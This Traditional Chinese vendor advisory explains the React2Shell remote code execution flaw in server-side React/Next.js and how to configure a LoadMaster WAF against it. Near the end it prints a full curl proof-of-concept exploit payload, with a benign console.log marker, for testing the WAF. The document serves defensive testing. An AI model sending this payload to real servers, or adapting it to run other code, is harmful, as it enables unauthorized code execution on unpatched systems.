運用 Progress Kemp LoadMaster WAF 強化對抗 React2Shell 漏洞的防護能力

什麼是 React2Shell?

React2Shell 是一個新發現的重大安全漏洞。它影響了在伺服器端使用 React 的應用程式,React 是一個廣泛應用於網頁應用程式的熱門 JavaScript 函式庫。此漏洞的 CVE ID 為 CVE-2025-55182(部分廠商也將針對 Next.js 框架的特定漏洞稱為 CVE-2025-66478)。

簡而言之,該漏洞允許未經身份驗證的使用者在受影響的伺服器上執行任意程式碼 (Arbitrary Code Execution, RCE)。這被視為一個極度嚴重 (Critical) 的漏洞,在通用漏洞評分系統 (CVSS) 中獲得了最高的 10.0 分

發現此漏洞的安全研究員已發布進一步的詳細資訊,您可前往 https://react2shell.com/ 查閱。

在可能的情況下,請立即修復

所有使用 React 或 Next.js 的伺服器和應用程式都應毫不延遲地進行更新,以完全修補這個關鍵的安全漏洞。關於套件版本號和更新說明,請參閱 React 團隊的官方部落格文章。

對於不確定是否使用 React 的網頁應用程式,請聯繫供應商尋求澄清並取得所需的修復步驟。

如果由於任何原因(暫時或長期)無法執行完整的更新修復,則應部署網頁應用程式防火牆 (WAF) 來加強防護(如果您的環境尚未部署 WAF)。

重要提醒: 使用 WAF 防禦絕不應被視為對抗此漏洞的完整或萬無一失的保護;唯一已知的完全防護措施是套用完整的更新修復

然而,根據目前可獲得的資訊和社群報告,廣泛使用的 OWASP CRS WAF 規則集能夠偵測並阻擋攻擊嘗試和已公開的概念驗證碼 (Proof of Concept, POC)

攻擊形式為何?

此攻擊採取 multipart/form-data 內容類型的 HTTP 請求形式。攻擊者會在請求的內容主體(Body)中精心製作並提交一個特殊酬載,利用漏洞導致伺服器執行任意程式碼。

由於攻擊酬載位於 HTTP 請求的主體中,WAF 若要能夠偵測並阻擋此類攻擊,就必須配置為檢查 HTTP 請求主體。

使用 LoadMaster WAF 阻擋漏洞利用

根據對目前可用攻擊 POC 的測試,Progress Kemp LoadMaster 解決方案內建的 WAF 能夠偵測並阻擋漏洞利用嘗試。但前提是必須像以下描述的那樣正確配置 WAF:

步驟 1:確認已啟用請求主體檢查 (Request Body Inspection)

因為攻擊發生在 HTTP 請求的主體中,這是 WAF 能夠發現問題的關鍵。

在 LoadMaster 解決方案中執行此操作:

  1. 點擊相關虛擬服務(即具有 WAF 的服務)的 Modify
  2. 展開 WAF 分頁,然後點擊 Advanced Settings 按鈕。
  3. 確認 Inspect HTTP POST Request Bodies 複選框已啟用。

步驟 2:確認已啟用「預防等級 2 (Paranoia Level 2)」

LoadMaster 上的 WAF 使用業界標準的 OWASP CRS 安全規則集。這些規則被分為四個「預防等級」(PLs),其侵略性和使用難度遞增。

經測試目前已公開的概念驗證攻擊,React2Shell 攻擊從預防等級 2 (PL 2) 開始被偵測。對於大多數網頁應用程式來說,這個等級是一個很好的折衷方案。

在 LoadMaster 上將 WAF 設定為在預防等級 2 下運行:

  1. 點擊相關虛擬服務(即具有 WAF 的服務)的 Modify
  2. 展開 WAF 分頁,然後點擊 Advanced Settings 按鈕。
  3. 確認 Blocking Paranoia Level 設定為 2

請注意: 一般不建議超過 PL 2,因為誤報 (false positives) 會呈指數級增加,從而大大提高實際應用中的部署難度。

如何測試您的防護

您可以使用以下 curl 指令將其中一個目前已公開的概念驗證攻擊發送到啟用 LoadMaster WAF 的虛擬服務:

Bash

$ curl -v 192.168.2.150   -H "Host: example.com"   --form-string 
'0="$1"'   --form-string '1={"status":"resolved_model", "reason":0, 
"_response":"$5", 
"value":{\"_preload1\":\"$9\",\"_preload2\":\"$c\",\"_preload3\":\"
$e\",\"_preload4\":\"$f\",\"then\":\"$b:map\",\"0\":\"$a\",\"length\
":1}", "then":"$2:then"}'   --form-string '2="$@3"'   --form-string 
'3=""'   --form-string '5={"_prefix":"$2:_response:_prefix", 
"_formData":"$2:_response:_formData", 
"_chunks":"$2:_response:_chunks", 
"_bundlerConfig":{"bar":{"id":"module","name":"*","chunks":[]}}}'   
--form-string '6={"id":"bar"}'   --form-string '7="$F6"'   --form-string '8={"set": "$6:constructor:setPrototypeOf"}'   --form-string 
'9={"_prefix":"$2:_response:_prefix", 
"_formData":"$2:_response:_formData", 
"_chunks":"$2:_response:_chunks", 
"_bundlerConfig":{"bar":{"id":"module","name":"*","chunks":[]}},"_temporaryReferences": "$8"}'   --form-string 
'4={"status":"resolved_model", "reason":{"0":"$7:wrapper", 
"length":1, "toString": "$b:pop"}, "_response":"$9", 
"value":"{\"then\":\"$b:map\",\"0\":\"$d\",\"toString\":\"$b:push\"}
", "then":"$2:then"}'   --form-string '10="$@4"'   --form-string 
'11=[]'   --form-string '12={"status":"resolved_model", 
"reason":{"0":"$7:Module:prototype", "length":1, "toString": 
"$b:pop"}, "_response": "$9", "value": "{\"set\":\"$7:Module:prototype:_compile\",\"then\":\"$b:map\",\"0\"
:\"$11\",\"length\":1}", "then":"$2:then"}'   --form-string 
'13="$@c"'   --form-string '14={"_prefix":"$2:_response:_prefix", "_formData":"$2:_response:_formData", 
"_chunks":"$2:_response:_chunks"}'   --form-string 
'15={"status":"resolved_model", "reason":"junk", "_response": "$e", 
"value":"{\"_preload1\":\"$10\",\"0\":\"$13\",\"length\":1,\"then\":
\"$b:map\"}", "then":"$2:then"}'   --form-string 
'16={"_prefix":"$2:_response:_prefix", "_formData":"$2:_response:_formData", "_chunks":"$2:_response:_chunks", "_temporaryReferences": "$c:value"}'   --form-string '17="$@f"'   --form-string 
'18={"status":"resolved_model", "reason":["$4:value"], "_response": 
"$10", "value":"[\"console.log(7*7)\"]", "then":"$2:then"}'   --
form-string '19="$@12"'

請注意: 請將 IP 位址 (192.168.2.150) 更改為符合您的虛擬服務 IP 位址。

當攻擊被 LoadMaster WAF 成功偵測時,它將在日誌中顯示類似以下內容,表示存取被拒絕且分數超標:

2025-12-09T18:32:12+00:00 lb100 wafd: [client 192.168.2.1] 
ModSecurity: Access denied with code 403 (phase 2). Operator 
GE matched 5 at TX:anomaly_score. [file "/tmp/waf/1/REQUEST-
949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg 
"Inbound Anomaly Score Exceeded (Total Score: 286)"] [severity 
"CRITICAL"] [ver "OWASP_CRS/3.3.4"] [tag "application-multi"] 
[tag "language-multi"] [tag "platform-multi"] [tag "attack-
generic"] [hostname "192.168.2.150"] [uri "/"] [unique_id 
"e10187e0-a977-4473-8fd8-0a0d05b906f4"]

如果測試請求未被阻擋,請檢查 WAF 上的「異常計分閾值 (Anomaly Scoring Threshold)」是否設定適當(對於經過適當調整的生產 WAF 服務,建議值應介於 5 到 10 之間)。

若想全面了解 LoadMaster WAF 解決方案的功能和管理,歡迎立即觀看我們的隨選網路研討會。

You cannot copy content of this page